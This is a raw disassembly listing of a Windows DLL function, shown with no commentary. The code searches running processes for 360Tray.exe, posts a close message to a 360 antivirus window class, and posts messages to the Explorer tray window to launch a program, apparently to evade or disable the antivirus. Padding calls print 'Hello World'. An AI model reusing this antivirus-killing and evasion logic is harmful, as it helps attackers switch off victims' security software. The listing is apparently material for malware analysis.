lea rcx, [rbp + 0x1470]
call fcn.180003b40
call fcn.1800039b0
mov r9, rax
mov r8, r14
lea rdx, str._s_s.lnk
lea rcx, [rbp + 0xaf0]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x9e0]
lea rdx, str.__s_
lea rcx, [rbp + 0x1580]
call qword [sym.imp.USER32.dll_wsprintfA]
lea r8, [rbp + 0x1580]
lea rdx, [rbp + 0x9e0]
lea rcx, [rbp + 0xaf0]
call fcn.180003b40
xor edx, edx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x180005236
xor edx, edx
mov r8d, 0x12c
lea rcx, [rbp + 0x694]
call fcn.18001c280
mov dword [rbp + 0x690], 0x130
lea rdx, [rbp + 0x690]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x18000522d
lea rdx, str.360Tray.exe
lea rcx, [rbp + 0x6bc]
call fcn.1800274c0
mov rcx, rbx
test eax, eax
je 0x180005276
lea rdx, [rbp + 0x690]
call qword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x180005202
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180003aa0
test al, al
je 0x1800056ce
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x470]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x1800056fc
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.180003aa0
mov ecx, 0x8003
test al, al
je 0x180005425
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1a4], xmm0
movups xmmword [rbp + 0x1b4], xmm0
movups xmmword [rbp + 0x1c4], xmm0
movups xmmword [rbp + 0x1d4], xmm0
movups xmmword [rbp + 0x1e4], xmm0
movups xmmword [rbp + 0x1f4], xmm0
mov dword [rbp + 0x204], eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov dword [rbp + 0x1a0], 0x68
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x580]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x180005345
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [rbp + 0x690], 0x363351
xor edx, edx
mov r8d, 0xfb
lea rcx, [rbp + 0x694]
call fcn.18001c280
movsd xmm0, qword [str.0SafeMonClass]
movsd qword [rbp + 0xe20], xmm0
mov eax, dword [0x180052a20]
mov dword [rbp + 0xe28], eax
movzx eax, word [0x180052a24]
mov word [rbp + 0xe2c], ax
xor edx, edx
mov r8d, 0xf1
lea rcx, [rbp + 0xe2e]
call fcn.18001c280
lea r8, [rbp + 0xe20]
mov edx, 0xff
lea rcx, [rbp + 0x690]
call fcn.180027814
nop dword [rax]
xor r9d, r9d
lea r8, [rbp + 0x690]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowExA]
mov rbx, rax
mov ecx, 0x32
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp ebx, 1
jl 0x1800053c0
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x10]
mov rcx, rbx
call qword [sym.imp.USER32.dll_PostMessageA]
lea rdx, [0x180052a28]
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, [0x180052a28]
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
jmp 0x1800056d9
call qword [sym.imp.KERNEL32.dll_SetErrorMode]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x1a4], xmm0
movups xmmword [rbp + 0x1b4], xmm0
movups xmmword [rbp + 0x1c4], xmm0
movups xmmword [rbp + 0x1d4], xmm0
movups xmmword [rbp + 0x1e4], xmm0
movups xmmword [rbp + 0x1f4], xmm0
mov dword [rbp + 0x204], eax
movups xmmword [rsp + 0x70], xmm0
mov qword [rbp - 0x80], rax
mov dword [rbp + 0x1a0], 0x68
lea rax, [rsp + 0x70]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x1a0]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], r12
mov qword [rsp + 0x30], r12
mov dword [rsp + 0x28], r12d
mov dword [rsp + 0x20], r12d
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp + 0x580]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x1800054dc
mov edx, 0xffffffff
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rcx, [rbp + 0x470]
call qword [sym.imp.KERNEL32.dll_GlobalAddAtomA]
movzx r14d, ax
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, [0x18005202f]
lea rcx, str.Shell_TrayWnd
call qword [sym.imp.USER32.dll_FindWindowA]
mov rsi, rax
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
mov ebx, 0x641
nop
xor r9d, r9d
mov r8, rbx
mov edx, 0x4ea
mov rcx, rsi
call qword [sym.imp.USER32.dll_PostMessageA]
mov r9, r14
mov r8, rbx
mov edx, 0x4e9
mov rcx, rsi
call qword [sym.imp.USER32.dll_PostMessageA]
inc rbx
sub r15, 1
jne 0x180005660
lea rdx, [0x180052790]
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
lea rdx, str.Hello_World__n
lea rcx, [0x18005c8a0]
call fcn.18000c6b0
xor r9d, r9d
mov edx, 0x312
lea r8d, [r15 + 5]
mov rcx, rsi
call qword [sym.imp.USER32.dll_PostMessageA]
jmp 0x1800056fc
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, [rbp + 0x470]
lea rdx, str.open
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_ShellExecuteA]
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rbp + 0x470]
call fcn.180020f70
lea rcx, [rbp + 0xaf0]
call fcn.180020f70
lea rcx, [rbp + 0x580]
call fcn.180020f70
lea rcx, [rbp + 0x7c0]
call fcn.180020f70
lea rcx, [rbp + 0xc00]
call fcn.180020f70
call fcn.180003c80
nop
test rdi, rdi
je 0x1800057a9
mov rcx, qword [rbp + 0x150]
sub rcx, rdi
movabs rax, 0x2aaaaaaaaaaaaaab
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rdx, [rdx + rdx*2]
shl rdx, 3
mov rax, rdi
cmp rdx, 0x1000
jb 0x1800057a0
add rdx, 0x27
mov rdi, qword [rdi - 8]
sub rax, rdi
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b2f
mov rcx, rdi
call fcn.1800197f8
nop
lea rcx, [rbp + 0x230]
call fcn.18000a720
mov rcx, qword [rbp + 0x250]
test rcx, rcx
je 0x1800057db
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x1800057db
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
nop
mov rdx, qword [rbp - 0x18]
cmp rdx, 0x10
jb 0x180005816
inc rdx
mov rcx, qword [rbp - 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005811
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b35
call fcn.1800197f8
mov qword [rbp - 0x20], r12
mov qword [rbp - 0x18], 0xf
mov byte [rbp - 0x30], 0
mov rcx, qword [rbp - 0x50]
test rcx, rcx
je 0x180005861
mov rdx, qword [rbp - 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000585b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b3b
call fcn.1800197f8
nop
mov rcx, qword [rbp + 0x30]
test rcx, rcx
je 0x1800058a7
mov rdx, qword [rbp + 0x40]
sub rdx, rcx
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005896
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b41
call fcn.1800197f8
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x30], xmm0
mov qword [rbp + 0x40], r12
mov rax, qword [rbp + 0x360]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ifstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x360], rax
mov rax, qword [rbp + 0x360]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xb0]
mov dword [rbp + rcx + 0x35c], edx
lea rcx, [rbp + 0x370]
call fcn.180008b80
mov rax, qword [rbp + 0x360]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx + 0x360], rax
mov rax, qword [rbp + 0x360]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0x18]
mov dword [rbp + rcx + 0x35c], edx
lea rax, vtable.std::ios_base.0
mov qword [rbp + 0x410], rax
lea rcx, [rbp + 0x410]
call fcn.18001847c
nop
mov rdx, qword [rbp + 0x28]
cmp rdx, 0x10
jb 0x18000596a
inc rdx
mov rcx, qword [rbp + 0x10]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005965
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b47
call fcn.1800197f8
mov qword [rbp + 0x20], r12
mov qword [rbp + 0x28], 0xf
mov byte [rbp + 0x10], 0
mov rdx, qword [rbp + 0x60]
cmp rdx, 0x10
jb 0x1800059b5
inc rdx
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800059b0
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b4d
call fcn.1800197f8
mov qword [rbp + 0x58], r12
mov qword [rbp + 0x60], 0xf
mov byte [rbp + 0x48], 0
mov rdx, qword [rbp + 0x228]
cmp rdx, 0x10
jb 0x180005a07
inc rdx
mov rcx, qword [rbp + 0x210]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005a01
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b53
call fcn.1800197f8
nop
mov rdx, qword [rbp + 0x100]
cmp rdx, 0x10
jb 0x180005a48
inc rdx
mov rcx, qword [rbp + 0xe8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005a43
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005b59
call fcn.1800197f8
mov qword [rbp + 0xf8], r12
mov qword [rbp + 0x100], 0xf
mov byte [rbp + 0xe8], 0
mov rdx, qword [rbp + 0xe0]
cmp rdx, 0x10
jb 0x180005a9e
inc rdx
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180005a99
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180005ac9
call fcn.1800197f8
lea r11, [rsp + 0x19d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
nop
call fcn.180028328
int3